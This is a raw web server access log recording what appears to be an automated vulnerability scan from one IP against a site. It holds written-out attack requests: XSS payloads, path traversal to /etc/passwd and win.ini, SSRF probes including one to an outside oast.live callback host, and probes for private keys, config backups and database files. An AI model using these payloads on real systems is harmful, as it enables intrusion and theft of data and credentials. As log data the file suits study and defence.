[09/Jan/2026:10:54:58 +0800] 3.1.128.83 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET /?q=%27%3E%22%3Csvg%2Fonload=confirm%28%27q%27%29%3E&s=%27%3E%22%3Csvg%2Fonload=confirm%28%27s%27%29%3E&search=%27%3E%22%3Csvg%2Fonload=confirm%28%27search%27%29%3E&id=%27%3E%22%3Csvg%2Fonload=confirm%28%27id%27%29%3E&action=%27%3E%22%3Csvg%2Fonload=confirm%28%27action%27%29%3E&keyword=%27%3E%22%3Csvg%2Fonload=confirm%28%27keyword%27%29%3E&query=%27%3E%22%3Csvg%2Fonload=confirm%28%27query%27%29%3E&page=%27%3E%22%3Csvg%2Fonload=confirm%28%27page%27%29%3E&keywords=%27%3E%22%3Csvg%2Fonload=confirm%28%27keywords%27%29%3E&url=%27%3E%22%3Csvg%2Fonload=confirm%28%27url%27%29%3E&view=%27%3E%22%3Csvg%2Fonload=confirm%28%27view%27%29%3E&cat=%27%3E%22%3Csvg%2Fonload=confirm%28%27cat%27%29%3E&name=%27%3E%22%3Csvg%2Fonload=confirm%28%27name%27%29%3E&key=%27%3E%22%3Csvg%2Fonload=confirm%28%27key%27%29%3E&p=%27%3E%22%3Csvg%2Fonload=confirm%28%27p%27%29%3E HTTP/1.1" 3426
[09/Jan/2026:10:54:58 +0800] 3.1.128.83 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET /etc.children....4.2.1....json HTTP/1.1" 196
[09/Jan/2026:10:54:58 +0800] 3.1.128.83 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET /typo3/sysext/install/composer.json HTTP/1.1" 196
[09/Jan/2026:10:54:58 +0800] 3.1.128.83 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET /protected/data/sqlite3.db HTTP/1.1" 196
[09/Jan/2026:10:54:58 +0800] 3.1.128.83 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "POST /ueditor/php/controller.php?action=uploadfile HTTP/1.1" 196
[09/Jan/2026:10:54:58 +0800] 3.1.128.83 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET /ueditor/net/controller.ashx?action=catchimage&encode=utf-8 HTTP/1.1" 196
[09/Jan/2026:10:54:58 +0800] 3.1.128.83 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET /.travis.yml HTTP/1.1" 196
[09/Jan/2026:10:54:58 +0800] 3.1.128.83 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET /manager/html HTTP/1.1" 196
[09/Jan/2026:10:54:58 +0800] 3.1.128.83 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET /ui/sessions/signin HTTP/1.1" 196
[09/Jan/2026:10:54:58 +0800] 3.1.128.83 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET /manager/html HTTP/1.1" 196
[09/Jan/2026:10:54:58 +0800] 3.1.128.83 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET /test.tar.gz HTTP/1.1" 196
[09/Jan/2026:10:54:58 +0800] 3.1.128.83 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET /manager/html HTTP/1.1" 196
[09/Jan/2026:10:54:58 +0800] 3.1.128.83 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "POST /ispirit/interface/gateway.php HTTP/1.1" 196
[09/Jan/2026:10:54:58 +0800] 3.1.128.83 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET /tiki-login.php HTTP/1.1" 196
[09/Jan/2026:10:54:58 +0800] 3.1.128.83 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET /manager/html HTTP/1.1" 196
[09/Jan/2026:10:54:58 +0800] 3.1.128.83 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "POST /examples/jsp/security/protected/j_security_check HTTP/1.1" 196
[09/Jan/2026:10:54:58 +0800] 3.1.128.83 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET /380DICmRbn6qylJ84C7PDtcGxyF HTTP/1.1" 196
[09/Jan/2026:10:54:58 +0800] 3.1.128.83 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET /manager/html HTTP/1.1" 196
[09/Jan/2026:10:54:58 +0800] 3.1.128.83 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET /meet/ HTTP/1.1" 196
[09/Jan/2026:10:54:58 +0800] 3.1.128.83 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET //textpattern/config.php.~ HTTP/1.1" 196
[09/Jan/2026:10:54:58 +0800] 14.0.153.113 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET /InternetTrading/longpoll/A8127?X-Atmosphere-tracking-id=0&X-Atmosphere-Framework=2.2.3-javascript&X-Atmosphere-Transport=long-polling&X-Atmosphere-TrackMessageSize=true&Content-Type=charset%3Dutf-8&X-atmo-protocol=true&_=1767927569371 HTTP/1.1" -
[09/Jan/2026:10:54:58 +0800] 3.1.128.83 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET /manager/html HTTP/1.1" 196
[09/Jan/2026:10:54:58 +0800] 3.1.128.83 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET /manager/html HTTP/1.1" 196
[09/Jan/2026:10:54:58 +0800] 3.1.128.83 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET / HTTP/1.1" 3426
[09/Jan/2026:10:54:58 +0800] 3.1.128.83 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET /server.key HTTP/1.1" 196
[09/Jan/2026:10:54:58 +0800] 3.1.128.83 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET /index.php?page=../../etc/passwd HTTP/1.1" 196
[09/Jan/2026:10:54:58 +0800] 3.1.128.83 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET /config/settings.old.php HTTP/1.1" 196
[09/Jan/2026:10:54:58 +0800] 3.1.128.83 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET /hoteldruid/inizio.php HTTP/1.1" 196
[09/Jan/2026:10:54:58 +0800] 3.1.128.83 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET //swagger-ui.js HTTP/1.1" 196
[09/Jan/2026:10:54:58 +0800] 3.1.128.83 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET /teampass HTTP/1.1" 196
[09/Jan/2026:10:54:58 +0800] 3.1.128.83 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET /manager/html HTTP/1.1" 196
[09/Jan/2026:10:54:58 +0800] 3.1.128.83 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET /manager/html HTTP/1.1" 196
[09/Jan/2026:10:54:58 +0800] 3.1.128.83 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET //404.php.old HTTP/1.1" 196
[09/Jan/2026:10:54:58 +0800] 3.1.128.83 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET /manager/html HTTP/1.1" 196
[09/Jan/2026:10:54:58 +0800] 3.1.128.83 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET /overview.html HTTP/1.1" 196
[09/Jan/2026:10:54:58 +0800] 3.1.128.83 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET /Export_Log?/etc/passwd HTTP/1.1" 196
[09/Jan/2026:10:54:58 +0800] 3.1.128.83 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET /manager/html HTTP/1.1" 196
[09/Jan/2026:10:54:58 +0800] 3.1.128.83 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET /manager/html HTTP/1.1" 196
[09/Jan/2026:10:54:58 +0800] 3.1.128.83 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET /v1/submissions HTTP/1.1" 196
[09/Jan/2026:10:54:58 +0800] 3.1.128.83 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "POST /psp/hr857prd_er/?cmd=login&languageCd=ENG HTTP/1.1" 196
[09/Jan/2026:10:54:58 +0800] 3.1.128.83 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET /squirrelmail/src/login.php HTTP/1.1" 196
[09/Jan/2026:10:54:58 +0800] 3.1.128.83 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET / HTTP/1.1" 3426
[09/Jan/2026:10:54:58 +0800] 3.1.128.83 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET /manager/html HTTP/1.1" 196
[09/Jan/2026:10:54:58 +0800] 3.1.128.83 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET /message-api/actuator/env HTTP/1.1" 196
[09/Jan/2026:10:54:58 +0800] 3.1.128.83 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET http://intranet:22/ HTTP/1.1" 226
[09/Jan/2026:10:54:58 +0800] 3.1.128.83 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET /wifi_base.shtml HTTP/1.1" 196
[09/Jan/2026:10:54:58 +0800] 3.1.128.83 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET /grid/console HTTP/1.1" 196
[09/Jan/2026:10:54:58 +0800] 3.1.128.83 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET / HTTP/1.1" 3426
[09/Jan/2026:10:54:58 +0800] 3.1.128.83 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET /mail/logs/errors.log HTTP/1.1" 196
[09/Jan/2026:10:54:58 +0800] 3.1.128.83 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET /favicon.ico HTTP/1.1" 196
[09/Jan/2026:10:54:58 +0800] 3.1.128.83 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "POST //graphql/console HTTP/1.1" 196
[09/Jan/2026:10:54:58 +0800] 3.1.128.83 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET /manager/html HTTP/1.1" 196
[09/Jan/2026:10:54:58 +0800] 3.1.128.83 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "POST /ztp/cgi-bin/handler HTTP/1.1" 196
[09/Jan/2026:10:54:58 +0800] 3.1.128.83 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET /manager/html HTTP/1.1" 196
[09/Jan/2026:10:54:58 +0800] 3.1.128.83 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET /upgrade.php HTTP/1.1" 196
[09/Jan/2026:10:54:58 +0800] 3.1.128.83 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET //setup.sh HTTP/1.1" 196
[09/Jan/2026:10:54:58 +0800] 3.1.128.83 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET / HTTP/1.1" 3426
[09/Jan/2026:10:54:58 +0800] 3.1.128.83 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET /test.tar.bz2 HTTP/1.1" 196
[09/Jan/2026:10:54:58 +0800] 3.1.128.83 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET //wp-login.php.old HTTP/1.1" 196
[09/Jan/2026:10:54:58 +0800] 3.1.128.83 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET /test.xz HTTP/1.1" 196
[09/Jan/2026:10:54:58 +0800] 3.1.128.83 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET //config.php.old HTTP/1.1" 196
[09/Jan/2026:10:54:58 +0800] 3.1.128.83 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET /test.zip HTTP/1.1" 196
[09/Jan/2026:10:54:58 +0800] 3.1.128.83 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET //config.old HTTP/1.1" 196
[09/Jan/2026:10:54:58 +0800] 3.1.128.83 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET /test.z HTTP/1.1" 196
[09/Jan/2026:10:54:58 +0800] 3.1.128.83 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET / HTTP/1.1" 3426
[09/Jan/2026:10:54:58 +0800] 3.1.128.83 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET /jmx-console/ HTTP/1.1" 196
[09/Jan/2026:10:54:58 +0800] 3.1.128.83 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET /docs/introduction.html HTTP/1.1" 196
[09/Jan/2026:10:54:58 +0800] 3.1.128.83 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET /backend/admin/users?username=anonymous HTTP/1.1" 196
[09/Jan/2026:10:54:58 +0800] 3.1.128.83 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET /TERR/ HTTP/1.1" 196
[09/Jan/2026:10:54:58 +0800] 3.1.128.83 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET /Default.aspx HTTP/1.1" 196
[09/Jan/2026:10:54:58 +0800] 3.1.128.83 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET /static/ HTTP/1.1" 196
[09/Jan/2026:10:54:58 +0800] 3.1.128.83 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET /favicon.png HTTP/1.1" 196
[09/Jan/2026:10:54:58 +0800] 3.1.128.83 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET /protected/data/database.db HTTP/1.1" 196
[09/Jan/2026:10:54:58 +0800] 3.1.128.83 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET /ueditor/jsp/controller.jsp?action=catchimage&source[]=http://127.0.0.1:187232/?1.png HTTP/1.1" 196
[09/Jan/2026:10:54:58 +0800] 3.1.128.83 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET /manager/html HTTP/1.1" 196
[09/Jan/2026:10:54:58 +0800] 3.1.128.83 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET /manager/html HTTP/1.1" 196
[09/Jan/2026:10:54:58 +0800] 3.1.128.83 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET /matomo/.travis.yml HTTP/1.1" 196
[09/Jan/2026:10:54:58 +0800] 3.1.128.83 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET /login?redirectTo=/ HTTP/1.1" 196
[09/Jan/2026:10:54:58 +0800] 3.1.128.83 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET //time.php HTTP/1.1" 196
[09/Jan/2026:10:54:58 +0800] 3.1.128.83 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET /nacos/v1/auth/users?pageNo=1&pageSize=9 HTTP/1.1" 196
[09/Jan/2026:10:54:58 +0800] 3.1.128.83 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET /manager/html HTTP/1.1" 196
[09/Jan/2026:10:54:58 +0800] 3.1.128.83 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET /api/v1/data?chart=system.cpu&format=json&points=125&group=average&gtime=0&options=ms%7Cflip%7Cjsonwrap%7Cnonzero&after=-120&dimensions=iowait HTTP/1.1" 196
[09/Jan/2026:10:54:58 +0800] 3.1.128.83 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET /my.key HTTP/1.1" 196
[09/Jan/2026:10:54:58 +0800] 3.1.128.83 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET //phpmyadmin/setup/ HTTP/1.1" 196
[09/Jan/2026:10:54:58 +0800] 3.1.128.83 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET /versa/login.html HTTP/1.1" 196
[09/Jan/2026:10:54:58 +0800] 3.1.128.83 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET /manager/html HTTP/1.1" 196
[09/Jan/2026:10:54:58 +0800] 3.1.128.83 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET /examples/websocket/index.xhtml HTTP/1.1" 196
[09/Jan/2026:10:54:58 +0800] 3.1.128.83 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET / HTTP/1.1" 3426
[09/Jan/2026:10:54:58 +0800] 3.1.128.83 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET /portal//..%5C%5C%5C..%5C%5C%5C..%5C%5C%5C..%5C%5C%5Cwindows%5Cwin.ini HTTP/1.1" 196
[09/Jan/2026:10:54:58 +0800] 3.1.128.83 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET /v1/sys/health HTTP/1.1" 196
[09/Jan/2026:10:54:58 +0800] 3.1.128.83 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET //am/UI/ HTTP/1.1" 196
[09/Jan/2026:10:54:58 +0800] 3.1.128.83 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET /manager/html HTTP/1.1" 196
[09/Jan/2026:10:54:58 +0800] 3.1.128.83 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET /manager/html HTTP/1.1" 196
[09/Jan/2026:10:54:58 +0800] 3.1.128.83 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET /audit/gui_detail_view.php?token=1&id=%5C&uid=%2Cchr(97))%20or%201:%20print%20chr(121)%2bchr(101)%2bchr(115)%0d%0a%23&login=admin HTTP/1.1" 196
[09/Jan/2026:10:54:58 +0800] 3.1.128.83 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET /data/plugins_listing HTTP/1.1" 196
[09/Jan/2026:10:54:58 +0800] 3.1.128.83 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET /SSI/Auth/ip_snmp.htm HTTP/1.1" 196
[09/Jan/2026:10:54:58 +0800] 3.1.128.83 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET /nuclei.svg?yPQJA=x HTTP/1.1" 226
[09/Jan/2026:10:54:58 +0800] 3.1.128.83 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET /favicon.ico HTTP/1.1" 196
[09/Jan/2026:10:54:58 +0800] 3.1.128.83 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET /server HTTP/1.1" 196
[09/Jan/2026:10:54:58 +0800] 3.1.128.83 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET /sphinx/sphinx.conf HTTP/1.1" 196
[09/Jan/2026:10:54:58 +0800] 3.1.128.83 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET /manager/html HTTP/1.1" 196
[09/Jan/2026:10:54:58 +0800] 3.1.128.83 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET / HTTP/1.1" 3426
[09/Jan/2026:10:54:58 +0800] 3.1.128.83 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET /account/register HTTP/1.1" 196
[09/Jan/2026:10:54:58 +0800] 3.1.128.83 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET /uwsgi.ini HTTP/1.1" 196
[09/Jan/2026:10:54:58 +0800] 3.1.128.83 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET / HTTP/1.1" 3426
[09/Jan/2026:10:54:58 +0800] 3.1.128.83 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET /manager/html HTTP/1.1" 196
[09/Jan/2026:10:54:58 +0800] 3.1.128.83 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET /versa/login HTTP/1.1" 196
[09/Jan/2026:10:54:58 +0800] 3.1.128.83 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET /cgi-bin/apcupsd/multimon.cgi HTTP/1.1" 199
[09/Jan/2026:10:54:58 +0800] 3.1.128.83 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET /login HTTP/1.1" 196
[09/Jan/2026:10:54:58 +0800] 3.1.128.83 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET /umbraco/backoffice/UmbracoApi/Dashboard/GetRemoteDashboardContent?section=TryToAvoidGetCacheItem111&baseUrl=http://d5g6to2hausk1oj0j65gauphp6yqo8k6w.oast.live/ HTTP/1.1" 196
[09/Jan/2026:10:54:58 +0800] 3.1.128.83 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "POST /search.php HTTP/1.1" 196
[09/Jan/2026:10:54:58 +0800] 3.1.128.83 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET /_src HTTP/1.1" 196
[09/Jan/2026:10:54:58 +0800] 3.1.128.83 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "POST /hybridity/api/sessions HTTP/1.1" 196
[09/Jan/2026:10:54:58 +0800] 3.1.128.83 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET /DesktopModules/Admin/RadEditorProvider/DialogHandler.aspx?dp=1 HTTP/1.1" 196
[09/Jan/2026:10:54:58 +0800] 3.1.128.83 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET /manager/html HTTP/1.1" 196
[09/Jan/2026:10:54:58 +0800] 3.1.128.83 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET /ventrilo_srv.ini HTTP/1.1" 196
[09/Jan/2026:10:54:58 +0800] 3.1.128.83 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "PURGE / HTTP/1.1" 204
[09/Jan/2026:10:54:58 +0800] 3.1.128.83 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET /manager/html HTTP/1.1" 196
[09/Jan/2026:10:54:58 +0800] 3.1.128.83 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET /manager/html HTTP/1.1" 196
[09/Jan/2026:10:54:58 +0800] 3.1.128.83 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET //data/common.inc.php.~ HTTP/1.1" 196
[09/Jan/2026:10:54:58 +0800] 3.1.128.83 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET /RichWidgets/Popup_Upload.aspx HTTP/1.1" 196
[09/Jan/2026:10:54:58 +0800] 3.1.128.83 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET / HTTP/1.1" 3426
[09/Jan/2026:10:54:58 +0800] 3.1.128.83 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET /responsiveUI/webmail/folder.xhtml HTTP/1.1" 196
[09/Jan/2026:10:54:58 +0800] 3.1.128.83 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET http:/mail/ HTTP/1.1" 226
[09/Jan/2026:10:54:58 +0800] 3.1.128.83 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "POST /CDGServer3/SystemConfig HTTP/1.1" 196
[09/Jan/2026:10:54:58 +0800] 3.1.128.83 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET /admin/login.html?lang=en HTTP/1.1" 196
[09/Jan/2026:10:54:58 +0800] 3.1.128.83 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET /sensorlist.htm HTTP/1.1" 196
[09/Jan/2026:10:54:58 +0800] 3.1.128.83 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET /manager/html HTTP/1.1" 196
[09/Jan/2026:10:54:58 +0800] 3.1.128.83 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET /config.json HTTP/1.1" 196
[09/Jan/2026:10:54:58 +0800] 3.1.128.83 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET /super/login.html?lang=en HTTP/1.1" 196
[09/Jan/2026:10:54:58 +0800] 3.1.128.83 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET /380DIHQTUHenZfTv4SVDRMhAH1c.php HTTP/1.1" 196
[09/Jan/2026:10:54:58 +0800] 3.1.128.83 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET /hybridity/ui/hcx-client/index.html HTTP/1.1" 196
[09/Jan/2026:10:54:58 +0800] 3.1.128.83 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET /manager/html HTTP/1.1" 196
[09/Jan/2026:10:54:58 +0800] 3.1.128.83 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "POST /api/login HTTP/1.1" 196
[09/Jan/2026:10:54:58 +0800] 3.1.128.83 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET /mail/logs/errors HTTP/1.1" 196
[09/Jan/2026:10:54:58 +0800] 3.1.128.83 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET /setup/setup.do HTTP/1.1" 196
[09/Jan/2026:10:54:58 +0800] 3.1.128.83 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET //id.htm HTTP/1.1" 196
[09/Jan/2026:10:54:58 +0800] 3.1.128.83 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET //swagger/ui/swagger-ui.js HTTP/1.1" 196
[09/Jan/2026:10:54:58 +0800] 3.1.128.83 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET /seminovos/routes/configs/routes.ini HTTP/1.1" 196
[09/Jan/2026:10:54:58 +0800] 3.1.128.83 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET /authenticate HTTP/1.1" 196
[09/Jan/2026:10:54:58 +0800] 3.1.128.83 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "POST /sdk/ HTTP/1.1" 196
[09/Jan/2026:10:54:58 +0800] 3.1.128.83 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET /manager/html HTTP/1.1" 196
[09/Jan/2026:10:54:58 +0800] 3.1.128.83 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET //run.sh HTTP/1.1" 196
[09/Jan/2026:10:54:58 +0800] 3.1.128.83 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET /manager/html HTTP/1.1" 196
[09/Jan/2026:10:54:58 +0800] 3.1.128.83 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET /manager/html HTTP/1.1" 196
[09/Jan/2026:10:54:58 +0800] 3.1.128.83 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET /ocp.php HTTP/1.1" 196
[09/Jan/2026:10:54:58 +0800] 3.1.128.83 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET /console HTTP/1.1" 196
[09/Jan/2026:10:54:58 +0800] 3.1.128.83 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET /Vagrantfile HTTP/1.1" 196
[09/Jan/2026:10:54:58 +0800] 3.1.128.83 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET /versa/login.html HTTP/1.1" 196
[09/Jan/2026:10:54:58 +0800] 3.1.128.83 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET /manager/html HTTP/1.1" 196
[09/Jan/2026:10:54:58 +0800] 3.1.128.83 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET /index.php?page=....//....//etc/passwd HTTP/1.1" 196
[09/Jan/2026:10:54:58 +0800] 3.1.128.83 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET //const.DB.php.bak.old HTTP/1.1" 196
[09/Jan/2026:10:54:58 +0800] 3.1.128.83 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET /install/information/database HTTP/1.1" 196
[09/Jan/2026:10:54:58 +0800] 3.1.128.83 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "POST /search HTTP/1.1" 196
[09/Jan/2026:10:54:58 +0800] 3.1.128.83 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET /manager/html HTTP/1.1" 196
[09/Jan/2026:10:54:58 +0800] 3.1.128.83 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "POST //graphql/graphql-playground HTTP/1.1" 196
[09/Jan/2026:10:54:58 +0800] 3.1.128.83 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET /api/v1/namespaces/default/workflows?query HTTP/1.1" 196
[09/Jan/2026:10:54:58 +0800] 3.1.128.83 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET /weblogin.htm HTTP/1.1" 196
[09/Jan/2026:10:54:58 +0800] 3.1.128.83 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET /manager/html HTTP/1.1" 196
[09/Jan/2026:10:54:58 +0800] 3.1.128.83 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET /ui/clusters/kafka-ui/brokers HTTP/1.1" 196
[09/Jan/2026:10:54:58 +0800] 3.1.128.83 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET /manage/wizard/ HTTP/1.1" 196
[09/Jan/2026:10:54:58 +0800] 3.1.128.83 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET /vite.config.js HTTP/1.1" 196
[09/Jan/2026:10:54:58 +0800] 3.1.128.83 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET /virtualems/Login.aspx HTTP/1.1" 196
[09/Jan/2026:10:54:58 +0800] 3.1.128.83 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET /login/?redirectTo=/tenant/e&service=</script><script>alert(document.domain)</script> HTTP/1.1" 196
[09/Jan/2026:10:54:58 +0800] 3.1.128.83 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "POST /psp/CHUMPRDM/?cmd=login&languageCd=ENG HTTP/1.1" 196
[09/Jan/2026:10:54:58 +0800] 3.1.128.83 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET //db.sql HTTP/1.1" 196
